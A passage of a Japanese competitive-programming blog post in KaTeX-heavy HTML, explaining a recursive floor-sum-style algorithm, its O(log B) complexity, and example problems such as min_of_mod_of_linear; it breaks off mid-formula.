<p>&#x79FB;&#x52D5;&#x5F8C;&#x306E;&#x56F3;&#x306B;&#x7740;&#x76EE;&#x3059;&#x308B;&#x3068;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x5EA7;&#x6A19;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span></span></span></span> &#x306E;&#x70B9;&#x304C;&#x8907;&#x6570;&#x3042;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;&#x8A66;&#x3059;&#x5FC5;&#x8981;&#x304C;&#x3042;&#x308B;&#x3082;&#x306E;&#x306F;&#x7D50;&#x5C40; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x6700;&#x5927;&#x306E;&#x3082;&#x306E;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3057;&#x304B;&#x3057;&#x3001;&#x305D;&#x306E;&#x70B9;&#x306F;&#x5DE6;&#x7AEF;&#x306E;&#x70B9;&#x3067;&#x3042;&#x3063;&#x305F;&#x3082;&#x306E;&#x3067;&#x3042;&#x308A;&#x3001;&#x3059;&#x3067;&#x306B;&#x5019;&#x88DC;&#x306B;&#x3042;&#x304C;&#x3063;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x8A66;&#x3059;&#x5FC5;&#x8981;&#x306F;&#x306A;&#x3044;&#x3067;&#x3059;&#x3002;&#x4EE5;&#x4E0A;&#x3088;&#x308A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x8CA0;&#x306E;&#x70B9;&#x306F;&#x8003;&#x3048;&#x308B;&#x5FC5;&#x8981;&#x304C;&#x306A;&#x304F;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x3057;&#x305F;&#x304C;&#x3063;&#x3066;&#x3001;&#x6700;&#x521D;&#x3068;&#x540C;&#x3058;&#x72B6;&#x6CC1;&#x304C;&#x751F;&#x3058;&#x308B;&#x305F;&#x3081;&#x3001;&#x4ECA;&#x306E;&#x72B6;&#x6CC1;&#x306B;&#x5BFE;&#x3057;&#x3066; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord text"><span class="mord">solve</span></span></span></span></span> &#x95A2;&#x6570;&#x3092;&#x547C;&#x3073;&#x3001;&#x305D;&#x306E;&#x8FD4;&#x308A;&#x5024;&#x3068;&#x7AEF;&#x306E;&#x5024;&#x3092;&#x6BD4;&#x3079;&#x3066;&#x3088;&#x308A;&#x5927;&#x304D;&#x3044;&#x65B9;&#x3092;&#x8FD4;&#x3059;&#x3053;&#x3068;&#x3067;&#x518D;&#x5E30;&#x7684;&#x306B;&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x306A;&#x304A;&#x3001;&#x6B21;&#x306B;&#x547C;&#x3076;&#x3079;&#x304D;&#x95A2;&#x6570;&#x306E;&#x5404;&#x5F15;&#x6570; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x306F;&#x305D;&#x308C;&#x305E;&#x308C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><h2 id="%E8%A8%88%E7%AE%97%E9%87%8F%E8%A7%A3%E6%9E%90-1">&#x8A08;&#x7B97;&#x91CF;&#x89E3;&#x6790;</h2><!--kg-card-begin: markdown--><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord text"><span class="mord">solve</span></span></span></span></span> &#x95A2;&#x6570;&#x306E;&#x7B2C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> &#x5F15;&#x6570;&#x3068;&#x7B2C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span> &#x5F15;&#x6570;&#x306B;&#x7740;&#x76EE;&#x3059;&#x308B;&#x3068;&#x3001;floor sum&#x306E;&#x3068;&#x304D;&#x3068;&#x540C;&#x69D8;&#x306B;&#x3057;&#x3066;&#x6642;&#x9593;&#x8A08;&#x7B97;&#x91CF;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x3053;&#x3068;&#x304C;&#x5206;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><h2 id="%E5%AE%9F%E8%A3%85%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6-1">&#x5B9F;&#x88C5;&#x306B;&#x3064;&#x3044;&#x3066;</h2><!--kg-card-begin: markdown--><p>&#x524D;&#x51E6;&#x7406;&#x3067; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x3057;&#x305F;&#x3042;&#x3068;&#x3001;&#x30B9;&#x30C6;&#x30C3;&#x30D7; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> &#xFF5E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span> &#x3092;&#x305D;&#x306E;&#x307E;&#x307E;&#x518D;&#x5E30;&#x95A2;&#x6570;&#x3068;&#x3057;&#x3066;&#x5B9F;&#x88C5;&#x3059;&#x308C;&#x3070;&#x3044;&#x3044;&#x3067;&#x3059;&#x3002;&#x5B9F;&#x88C5;&#x4F8B;&#x306F;&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x306E;&#x4E0A;&#x90E8;&#x306B;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><h2 id="%E6%9C%80%E5%BE%8C%E3%81%AB">&#x6700;&#x5F8C;&#x306B;</h2><!--kg-card-begin: markdown--><p>&#x7D39;&#x4ECB;&#x3057;&#x305F;&#x30A2;&#x30EB;&#x30B4;&#x30EA;&#x30BA;&#x30E0;&#x3067;&#x6BB4;&#x308C;&#x308B;&#x554F;&#x984C;&#x3092;&#x3044;&#x304F;&#x3064;&#x304B;&#x7D39;&#x4ECB;&#x3057;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x305F;&#x3060;&#x3057;&#x3001;floor sum&#x306F;&#x6709;&#x540D;&#x3059;&#x304E;&#x308B;&#x306E;&#x3067;&#x3001;&#x4E3B;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> &#x3064;&#x76EE;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p><a href="https://judge.yosupo.jp/problem/min_of_mod_of_linear?ref=trap.jp">https://judge.yosupo.jp/problem/min_of_mod_of_linear</a><br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5895em;vertical-align:-0.8395em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6679em;"><span style="top:-2.3557em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight">i</span><span class="mrel mtight" style="color:#df0030;">&lt;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">min</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.8395em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.5895em;vertical-align:-0.8395em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.3557em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight">i</span><span class="mrel mtight" style="color:#df0030;">&#x2264;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span><span class="mbin mtight">&#x2212;</span><span class="mord mtight">1</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.8395em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">&#x2212;</span><span class="mopen">((</span><span class="mord mathnormal">A</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.3557em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight">i</span><span class="mrel mtight" style="color:#df0030;">&#x2264;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span><span class="mbin mtight">&#x2212;</span><span class="mord mtight">1</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.8395em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord mathnormal">A</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mord"><span class="delimsizing size3">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.3557em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight">i</span><span class="mrel mtight" style="color:#df0030;">&#x2264;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span><span class="mbin mtight">&#x2212;</span><span class="mord mtight">1</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.8395em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span 